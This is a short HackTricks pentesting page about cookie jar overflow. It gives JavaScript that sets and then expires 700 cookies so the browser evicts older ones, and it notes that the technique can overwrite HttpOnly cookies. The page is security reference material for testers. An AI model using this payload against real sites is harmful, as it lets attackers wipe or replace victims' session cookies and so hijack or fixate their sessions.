hacktricks/pentesting-web/hacking-with-cookies/cookie-jar-overflow.md at bc9f085551056b408bef11b6b9bd12bc0119d50a

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The browsers have a limit on the number of cookies that they can store for a page. Then, if for some cause you need to make a cookie disappear, you can overflow the cookie jar as the oldest ones will be deleted before:

// Set many cookies
for (let i = 0; i < 700; i++) {
    document.cookie = `cookie${i}=${i}; Secure`;
}

// Remove all cookies
for (let i = 0; i < 700; i++) {
    document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
}

Notice, that third party cookies pointing to a different domain won't be overwritten.

{% hint style="danger" %} This attack can also be used to overwrite HttpOnly cookies as you can delete it and then reset it with the value you want.

Check this in this post with a lab. {% endhint %}